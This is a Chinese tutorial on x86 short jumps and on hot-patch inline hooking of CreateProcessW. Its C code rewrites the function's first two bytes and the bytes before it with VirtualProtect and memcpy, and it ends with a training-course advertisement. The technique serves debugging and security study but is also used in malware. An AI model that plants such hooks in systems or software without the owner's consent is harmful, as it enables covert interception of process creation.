在汇编中存在着短跳转指令可以完成跳转并且仅占用2字节,用以下例子来观察一下短跳转的指令。
int main()
{
// 使用标签作为跳转目标
__asm {
jmp short label;
};
// 标签处定义跳转目标
label:
// 这里是跳转目标后的代码
return 0;
}
可以看到在跳转到标签label上时,采用的跳转指令机器码是EB开头的,而不是E9,并且指令长度也只有2字节。
那么00是跳转的偏移值,根据该例子分析一下跳转偏移的计算
跳转偏移 = 目标地址 - 当前地址 - 当前指令的长度
00 = 00731005 - 00731003 - 2
可以看到计算偏移的公式与jmp指令一致,只是跳转的指令的长度为5字节,而短跳转的指令长度为2字节,因此jmp指令也被称之为长跳转。
那么怎么配合短跳转进行一个钩取操作,如下图。我们可以借助短跳转使得指令执行到上述填充的区域,然后再使用jmp指令完成钩取的操作。这里需要注意的是空闲区域的空间大小需要大于5个字节,不然无法容纳jmp指令。
最终修改后钩取的效果如下图,在自定义函数中不在需要钩取与脱钩的操作,因为我们修改的指令不会影响正常的CreateProcessW函数执行。那么在既然不存在写操作,那么在多线程中也不会因为条件竞争导致还没写完就切换线程的情况。
那么代码实现部分如下,这里需要注意长跳转的指令0xE9,短跳转的指令为0xEB,这里先把偏移计算好了0xF9,因此写好了,但是这个偏移值不是唯一值,只要找到的地址存在大于5字节的空闲区域都是可以的。紧接着就是修改函数内部的指令,将初始的指令修改为短跳转,然后再空闲区中填充长跳转即可。
...
//长跳转指令
BYTE pBuf[5] = { 0xE9, 0 };
//短跳转指令 + 偏移值
BYTE pShortJmp[2] = { 0xEB, 0xF9};
//获取模块地址
HMODULE hModule = GetModuleHandleA(szDllName);
//获取函数地址
FARPROC pfnOld = GetProcAddress(hModule, szFuncName);
//选中长跳转指令填充的地址,这里选择恰好能容纳jmp指令的位置
DWORD target = (DWORD)pfnOld - 5;
//计算跳转的偏移
DWORD dwAddress = (DWORD)pfnNew - target - 5;
//修改区域的权限
VirtualProtect((LPVOID)target, 7, PAGE_EXECUTE_READWRITE, &dwOldProtect);
//将偏移填充到指令中
memcpy(&pBuf[1], &dwAddress, 4);
//将长跳转指令填充
memcpy((LPVOID)target, pBuf, 5);
//保存原始的两个字节
memcpy(pOldBytes, pfnOld, 2);
//将短跳转指令填充
memcpy(pfnOld, pShortJmp, 2);
VirtualProtect((LPVOID)target, 7, dwOldProtect, &dwOldProtect);
...
在自定义函数中,只需要直接调用CreatePorcessW + 2的指令就可以完成原始CreateProcessW函数,不再需要挂钩脱钩的处理。
...
//调用CreateProcessW + 2
BOOL ret = ((LPFN_CreateProcessW)((DWORD)pfnOld + 2))(
applicationName,
lpCommandLine,
lpProcessAttributes,
lpThreadAttributes,
bInheritHandles,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
lpStartupInfo,
lpProcessInformation
);
...
完整代码:
https://github.com/h0pe-ay/HookTechnology/tree/main/Hook-HotPatch总结
优点:避免多线程出错
缺点:不一定有热补丁的条件,就是不一定存在有垃圾指令
如64位程序的CreateProcessW函数的第一条指令是mov r11,rsp,但是后续的指令都需要用到r11寄存器的值,因此该指令不是无用指令。就不能上述热补丁的方法。
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

